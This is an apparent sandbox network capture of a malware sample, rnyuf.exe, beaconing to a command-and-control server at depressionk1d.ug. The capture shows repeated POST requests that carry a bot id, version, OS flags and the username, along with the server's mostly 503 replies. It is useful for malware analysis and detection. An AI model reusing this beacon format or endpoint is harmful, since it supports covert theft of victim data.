Nov 12, 2021 22:24:06.937825918 CET	10468	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:06 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:06.937835932 CET	10468	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.4	50054	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:07.077225924 CET	10469	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:07.102319956 CET	10470	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:07 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:07.102334023 CET	10470	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.4	50055	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:07.366317034 CET	10472	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:07.388889074 CET	10474	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:07 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:07.388905048 CET	10474	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.4	50056	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:08.699569941 CET	10475	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:08.725644112 CET	10475	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.4	50057	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:09.057308912 CET	10476	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:09.079835892 CET	10477	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:09 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> 